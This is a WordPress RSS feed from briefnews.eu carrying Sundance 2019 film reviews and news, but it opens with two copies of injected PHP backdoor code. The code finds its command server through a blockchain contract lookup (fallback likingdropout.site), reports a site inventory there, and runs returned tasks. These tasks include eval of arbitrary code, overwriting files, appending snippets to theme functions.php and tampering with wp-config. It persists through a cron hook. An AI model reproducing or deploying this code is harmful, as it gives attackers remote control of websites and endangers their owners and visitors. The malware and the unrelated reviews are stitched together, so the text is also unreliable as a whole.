// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Sundance – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 04 Feb 2019 19:11:18 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Sundance – Brief News https://briefnews.eu 32 32 The Best and Worst Movies of the 2019 Sundance Film Festival https://briefnews.eu/the-best-and-worst-movies-of-the-2019-sundance-film-festival/ https://briefnews.eu/the-best-and-worst-movies-of-the-2019-sundance-film-festival/#respond Mon, 04 Feb 2019 19:11:18 +0000 http://briefnews.eu/the-best-and-worst-movies-of-the-2019-sundance-film-festival/ The Sundance Film Festival closed up shop yesterday, ending 11 days of premieres, competition, and deal-making — and leaving festival-goers and critics to contemplate the independent, foreign, and documentary films that will likely dominate those landscapes for the months to come. Your film editor was among them, and I came away with a strange sense of disappointment; I didn’t fly out of Park City feeling like I’d seen films that I’d still be talking about a year from now, the way I did after experiencing You Were Never Really Here or Private Life last year. Then again, it’s all a crap shoot at these big festivals; due to assignments or poor choices, there’s a very good chance I just didn’t see the best stuff. (The festival awards were dominated by things I missed.) And it’s not like I saw a lot of bad stuff anyway; most of the films I made it to were good-to-great. So here are some thoughts on those:

(Sundance Institute)


BIO-DOCS
Sundance’s non-fiction slate has, for the past several years, boasted more than a few feature-length profiles of interesting people — last year’s slate included the summer doc smashes RBG and Won’t You Be My Neighbor?. These films rarely break the mold stylistically, but often succeed in engaging and enlightening. 

Raise Hell: The Life & Times of Molly Ivins

Early in Janice Engel’s profile of the beloved (and reviled) political commentator, we see her explain why she got into journalism: “To do good and raise hell and learn.” She did all three. This masterfully cut and endlessly funny documentary tells a uniquely American story, and a mini-history of contemporary journalism to boot, following Ivins through various gigs and markets, watching her try (and often fail) to find her place, before settling in as a columnist who became the single most incisive critic of George W. Bush and his administration. But the genius of Engel’s approach is its refusal to cast itself as history, and its best passages intercut her political theory with specific, modern examples. In doing so, she brings Ivins’ words from the past into the present — where we need them more than ever.

Where’s My Roy Cohn?

In considering the rancid garbage fire that our country has become, it’s not only easy but trite to make big pronouncements like, “To understand Trump, you have to understand Roy Cohn.” But in this case, it’s a direct line: Trump met the legendary junkyard dog lawyer at 23 and considered him a mentor, and his lessons are clear: attack, fight, smear, divert, and never admit you’re wrong. This jam-packed, intelligent bio-doc from director Matt Tyrauner (Studio 54) hits the expected high points — the Rosenbergs, the Army-McCarthy hearings, the rise to power in New York City, his closeted lifestyle and death from AIDS-related illness — but the archival interviews and contemporaneous coverage are still shocking and powerful. This is a scorching portrait of a real S.O.B., and an insightful analysis of the darkness he represents.

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]]> https://briefnews.eu/the-best-and-worst-movies-of-the-2019-sundance-film-festival/feed/ 0 Sundance 2019: Emma Thompson and Mindy Kaling Shine in ‘Late Night’ https://briefnews.eu/sundance-2019-emma-thompson-and-mindy-kaling-shine-in-late-night/ https://briefnews.eu/sundance-2019-emma-thompson-and-mindy-kaling-shine-in-late-night/#respond Mon, 28 Jan 2019 17:30:41 +0000 http://briefnews.eu/sundance-2019-emma-thompson-and-mindy-kaling-shine-in-late-night/ PARK CITY, UTAH: If Late Night worked on no other level – and to be clear, that’s not the case, but go with me on this – if would be worth seeing as a foghorn-loud reminder that Emma Thompson is an international treasure, and we’re not using her often enough. Her turn as Katherine Newbury, the only female talk show host on late night television, works outward from a reasonable set of assumptions about what it would take to survive in that job for 28 years: she encourages an environment of total fear in her subordinates.

Early reviews from the Sundance Film Festival, where the film premiered over the weekend, have compared Thompson’s Katherine to Meryl Streep’s Miranda Priestly in The Devil Wears Prada, and it’s an easy line to draw (right down to the fab costumes and shock-white hair). But Thompson has the advantage of her clipped, British accent and diction, which transforms even her roughest dialogue into polished gems. It’s a hell of a performance.

“I wrote it for Emma Thompson, and I really think only she could’ve played this part,” screenwriter and co-star Mindy Kaling confessed in a post-screening Q&A, “which is probably one of the stupider things you can do as a screenwriter, is tether your movie to the only person who can play it and hope that they can. A person I did not know! So I was just this creep in my home writing a fan fiction movie for me and Emma Thompson, a woman I don’t know, and hoping she would one day read it and do it. So this is actually, I’m sure there are tons of aspiring writers out there: you can do that. You can be that creepy person, and sometimes it works out.”

Kaling stars as Molly, brought into Katherine’s all-white, all-male writer’s room as a barely veiled “diversity hire.” As Molly, Kaling harnesses her considerable charisma and gift for charming naiveté; as Katherine tells her, “your earnestness can be very hard to be around.” Their duet scenes are the heart of the picture, and while each makes the expected transition – Molly becomes a savvy writer who can hold her own in the room (even against her boss), while Katherine figures out how to soften and be more herself on air – they’re done with panache. The script’s other pairings are equally inspired; it’s fun to watch Thompson and Amy Ryan (as the head of the network, keen to show Katherine the door) go at each other, and the comfy, lived-in scenes concerning her marriage to John Lithgow are lovely (it is telling, and perfect, that their big scene together is played on a stage).

The punchlines fly in Kaling’s script, sometimes too cleanly and quickly – it’s sharp and funny, yes, and also very clearly the work of a TV-trained writer. But that’s not always a bad thing: Late Night is wonderfully sharp when targeting (not infrequently) the cringe-inducing play-date nature of the most successful late night shows at the moment (summarized, most succinctly, as “Kevin Hart on a Slip n Slide”), and those who’ve read Jason Zinoman’s excellent David Letterman biography will recognize the logistics of working for of a talk-show host who’s grown so disengaged and isolated, they haven’t ever met some of their writers.

And the movie gets, to a great extent, how modern media works – the kinds of things that go viral, how they’re reported, then reframed and think-pieced (right down to the Vulture hed that calls Katherine “Your Least Favorite Aunt”). And, Kaling being Kaling, the tiny pop culture touches are bang-on (my favorite: a teen vampire series called Van Helsing Prep). Nisha Ganatra’s direction isn’t terribly inspired – it’s a lot of standard shot-shot-reaction stuff – but she’s good with her actors, and paces the picture well, even if the needle-drops and score keep smothering her scenes.

Late Night is smarter than that. It may be a longer and more sincere 30 Rock, but there’s some pretty heady stuff about “diversity hires” and workplace inequality in what has always been and remains a very straight-white-male-ccentric world; Kaling knows how to address these issues without turning the movie into a polemic, how to touch on this stuff but still get the laugh. And clearly, it works.

“This is a movie about being a real outsider and a fan of things,” she explained in her Q&A, “and I have seen so many great movies about young fans of comedy who are young white men, you see that story a lot. And when you don’t see yourself represented in a film, you just start to bond with whoever is up there.” So now, maybe, she can be that entry point: “The world is changing so quickly, and I really am an optimist at heart, and I really have faith.”

“Late Night” screens this week at the Sundance Film Festival. It was purchased by Amazon Studios for, presumably, release later this year. (All photos: Jason Bailey / Flavorwire)

                        

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]]> https://briefnews.eu/sundance-2019-emma-thompson-and-mindy-kaling-shine-in-late-night/feed/ 0 Amazon sets Sundance record by acquiring Mindy Kaling’s ‘Late Night’ https://briefnews.eu/amazon-sets-sundance-record-by-acquiring-mindy-kalings-late-night/ https://briefnews.eu/amazon-sets-sundance-record-by-acquiring-mindy-kalings-late-night/#respond Sat, 26 Jan 2019 23:16:15 +0000 http://briefnews.eu/amazon-sets-sundance-record-by-acquiring-mindy-kalings-late-night/

Amazon might just be the biggest player at the Sundance Film Festival this year. The internet giant has spent $ 13 million to acquire the US rights to Late Night, a movie written, produced and starring Mindy Kaling. As Deadline pointed out, that’s a record for any US-only deal at Sundance — even Amazon’s $ 12 million rights deal for The Big Sick included a few places beyond American borders. There was reportedly a fierce four-way fight for the movie, suggesting that Amazon was determined to stay on top.

The movie, directed by Nisha Gantara, stars Emma Thompson as a late night talk show host who responds to the threat of losing her job by shaking up her all-male writing staff with a woman from an Indian background — namely, Kaling’s character. It’s timely, of course, but it also made a splash at its Sundance premiere and could be a hit with a wider release.

The deal is a reflection of Amazon’s clout, and makes clear that recently hired studio head Jennifer Salke is proving her worth relatively quickly. It also shows that Amazon hasn’t backed out of Sundance simply because it’s shying away from art-house movies. It’s happy to spend money at the festival if it thinks a film has broad appeal.

Source: Variety, Deadline

]]> https://briefnews.eu/amazon-sets-sundance-record-by-acquiring-mindy-kalings-late-night/feed/ 0 10 Sundance Movies We Can’t Wait to See https://briefnews.eu/10-sundance-movies-we-cant-wait-to-see/ https://briefnews.eu/10-sundance-movies-we-cant-wait-to-see/#respond Thu, 24 Jan 2019 20:11:12 +0000 http://briefnews.eu/10-sundance-movies-we-cant-wait-to-see/ The more time your film editor spends working this particular beat, the clearer it becomes that the movie calendar simply never pauses. Two days ago, with the announcement of the Oscar nominations, we entered the final phase of 2018 at the movies – but today, more than a month before they’ll hand those trophies out, the starter pistol fires for 2019. Yes, friends, the Sundance Film Festival is kicking off in Park City, unleashing a tidal wave of the independent movies, foreign films, and documentaries we’ll likely be talking about until this time next year. And there’s a reason that Sundance – which began in 1978 as the Utah/US Film Festival, moved from August to January three years later in an effort to lure Hollywood types to Utah because they could ski while they were there, and renamed itself after chairman in Robert Redford in 1985 – has become the preeminent showcase for off-studio filmmaking: they have their pick of the litter, and often pick the very best. (Four of my top five movies of 2018 screened there this time, last year.)

So what will be this year’s Leave No Trace, Sorry to Bother You, Blindspotting, or Won’t You Be My Neighbor? Who knows, but here are a few of the titles we’re anticipating most.

(Sundance Institute)

Late Night

